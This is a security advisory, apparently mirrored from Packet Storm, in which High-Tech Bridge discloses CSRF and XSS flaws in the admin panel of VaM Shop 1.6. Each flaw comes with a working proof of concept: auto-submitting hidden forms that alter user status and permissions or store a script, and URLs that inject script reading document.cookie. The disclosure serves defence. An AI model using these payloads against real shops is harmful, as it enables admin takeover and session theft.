Lucene search
K

VaM Shop 1.6 Cross Site Request Forgery / Cross Site Scripting

🗓️ 11 Jan 2011 00:00:00Reported by High-Tech Bridge SAType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

VaM Shop 1.6 CSRF and XSS Vulnerabilitie

Code
`===================================  
Vulnerability ID: HTB22780  
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_vam_shop.html  
Product: VaM Shop  
Vendor: Vamsoft ( http://vamshop.ru/ )   
Vulnerable Version: 1.6 and Probably Prior Versions  
Vendor Notification: 28 December 2010   
Vulnerability Type: CSRF (Cross-Site Request Forgery)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Low   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "admin/accounting.php" script to properly verify the source of HTTP request.  
  
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available. Change user status:  
  
<form action="http://host/admin/customers.php?page=1&cID=USERID&action=statusconfirm" method="post" name="main">  
<input type="hidden" name="status" value="0">  
</form>  
<script>  
document.main.submit();  
</script>  
  
Change user permissions:  
  
<form action="http://host/admin/accounting.php?cID=USERID&action=save" method="post" name="main" enctype="multipart/form-data">  
<input type="hidden" name="access[]" value="configuration">  
<input type="hidden" name="access[]" value="modules">  
<input type="hidden" name="access[]" value="customers">  
<input type="hidden" name="access[]" value="start">  
<input type="hidden" name="access[]" value="content_manager">  
<input type="hidden" name="access[]" value="categories">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
===================================  
Vulnerability ID: HTB22781  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_vam_shop_2.html  
Product: VaM Shop  
Vendor: Vamsoft ( http://vamshop.ru/ )   
Vulnerable Version: 1.6 and Probably Prior Versions  
Vendor Notification: 28 December 2010   
Vulnerability Type: XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "admin/orders.php" script to properly sanitize user-supplied input in "status" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
http://host/admin/orders.php?selected_box=customers&status=2"><script>alert(document.cookie)</script>  
  
===================================  
Vulnerability ID: HTB22779  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_vam_shop_1.html  
Product: VaM Shop  
Vendor: Vamsoft ( http://vamshop.ru/ )   
Vulnerable Version: 1.6 and Probably Prior Versions  
Vendor Notification: 28 December 2010   
Vulnerability Type: XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "admin/customers.php" script to properly sanitize user-supplied input in "search" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
http://host/admin/customers.php?search=1"><script>alert(document.cookie)</script>  
  
===================================  
Vulnerability ID: HTB22778  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_vam_shop.html  
Product: VaM Shop  
Vendor: Vamsoft ( http://vamshop.ru/ )   
Vulnerable Version: 1,60 and probably prior versions  
Vendor Notification: 28 December 2010   
Vulnerability Type: Stored XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "admin/configuration.php" script to properly sanitize user-supplied input in "STORE_NAME" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/admin/configuration.php?gID=1&action=save" method="post" name="main">  
<input type="hidden" name="STORE_NAME" value='My Shop"><script>alert(document.cookie)</script>'>  
<input type="hidden" name="STORE_OWNER" value="VaM Shop">  
<input type="hidden" name="STORE_OWNER_EMAIL_ADDRESS" value="[email protected]">  
<input type="hidden" name="EXPECTED_PRODUCTS_SORT" value="desc">  
<input type="hidden" name="EXPECTED_PRODUCTS_FIELD" value="date_expected">  
<input type="hidden" name="USE_DEFAULT_LANGUAGE_CURRENCY" value="false">  
<input type="hidden" name="DISPLAY_CART" value="true">  
<input type="hidden" name="ADVANCED_SEARCH_DEFAULT_OPERATOR" value="and">  
<input type="hidden" name="STORE_NAME_ADDRESS" value="Address, Country">  
<input type="hidden" name="SHOW_COUNTS" value="true">  
<input type="hidden" name="CURRENT_TEMPLATE" value="vamshop">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation